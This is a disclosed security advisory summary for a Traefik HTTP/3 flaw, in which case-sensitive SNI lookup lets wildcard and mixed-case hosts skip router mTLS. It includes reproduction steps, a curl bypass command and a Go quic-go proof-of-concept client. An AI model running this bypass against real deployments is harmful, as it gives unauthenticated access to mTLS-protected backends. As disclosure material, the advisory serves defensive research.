# Traefik: HTTP/3 mTLS bypass via exact SNI TLSOptions lookup for wildcard and mixed-case hosts

Traefik's HTTP/3 QUIC TLS selector does exact case-sensitive SNI map lookup, so wildcard or mixed-case hosts fall back to default TLS config and skip router mTLS.

- Payout: Research
- Severity: high
- Program: Traefik
- Found by: kamil-sawicki, westonsteimel, rezmoss
- Disclosed: 2026-06-16
- CVE: CVE-2026-53622
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-9cr8-q42q-g8m7
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-9cr8-q42q-g8m7
- Tags: area:cloud domain:infra impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:go technique:parser-differential technique:source-review vuln:access-control vuln:auth-bypass

**Target:** HTTP/3 (QUIC) entrypoint TLS config selection in Traefik
**Root cause:** GetTLSGetClientInfo() does a direct case-sensitive map lookup on hostHTTPTLSConfig[info.ServerName], so wildcard keys and mixed-case SNI never match router-specific TLSOptions and the handshake falls back to the default TLS config, which lacks client-cert requirements.
**Steps:**
1. Deploy Traefik v3.7.1 with `--entrypoints.websecure.http3`, a router `Host(`*.example.com`)` (or `Host(`api.example.com`)`) with `tls.options: mtls` requiring `RequireAndVerifyClientCert`, and a default TLS config without client auth.
2. Control: `curl --noproxy '*' --http2 -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/` returns `certificate required`.
3. Bypass: `curl --noproxy '*' --http3-only -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/` returns `HTTP/3 200` with backend body.
4. For exact-host case, send HTTP/3 with mixed-case SNI/Host `API.EXAMPLE.COM` via quic-go http3.Transport with `ServerName: API.EXAMPLE.COM` and `req.Host = API.EXAMPLE.COM`; observe `HTTP/3.0 200`.
**How found:** Noticed the HTTP/3 TLS selector uses an exact case-sensitive map lookup on SNI while the HTTP muxer matches wildcard and case-insensitive Host rules, creating a mismatch between handshake-time TLS selection and request-time routing; validated with wildcard and mixed-case SNI PoCs against HTTP/2 controls.
**Exploitation:** Attacker with UDP reachability to the HTTP/3 entrypoint completes the QUIC handshake without a client certificate because the SNI lookup misses the router's mTLS TLSOptions and falls back to the default config; the subsequent HTTP routing layer still matches the wildcard/case-insensitive Host rule and dispatches to the mTLS-protected backend.
**Insight:** When a proxy selects TLS config at handshake time by SNI but routes by Host header later, any divergence in matching semantics (wildcards, case, trailing dot, IDN) between the two layers is an auth-bypass primitive — test alternate protocols (HTTP/3/QUIC) against the same route to expose it.

## Proof of concept (copied exactly from the original report)

**Wildcard HTTP/3 mTLS bypass curl command**

```
curl --noproxy '*' --http3-only -skv   --resolve api.example.com:8443:127.0.0.1   https://api.example.com:8443/
```

**Mixed-case HTTP/3 client Go PoC**

```
package main

import (
    "crypto/tls"
    "fmt"
    "io"
    "net/http"
    "os"
    "time"

    "github.com/quic-go/quic-go/http3"
)

func main() {
    serverName := os.Getenv("TLS_SERVER_NAME")
    if serverName == "" {
        serverName = "API.EXAMPLE.COM"
    }

    host := os.Getenv("HTTP_HOST")
    if host == "" {
        host = "API.EXAMPLE.COM"
    }

    tr := &http3.Transport{
        TLSClientConfig: &tls.Config{
            ServerName:         serverName,
            InsecureSkipVerify: true,
        },
    }
    defer tr.Close()

    client := &http.Client{Transport: tr, Timeout: 8 * time.Second}

    req, err := http.NewRequest(http.MethodGet, "https://127.0.0.1:8443/", nil)
    if err != nil {
        panic(err)
    }
    req.Host = host

    resp, err := client.Do(req)
    if err != nil {
        fmt.Fprintln(os.Stderr, err)
        os.Exit(1)
    }
    defer resp.Body.Close()

    fmt.Println(resp.Proto, resp.StatusCode)
    body, _ := io.ReadAll(resp.Body)
    fmt.Print(string(body))
}
```

**Mixed-case HTTP/3 bypass run command**

```
TLS_SERVER_NAME=API.EXAMPLE.COM HTTP_HOST=API.EXAMPLE.COM   go run ./h3-case-client.go
```

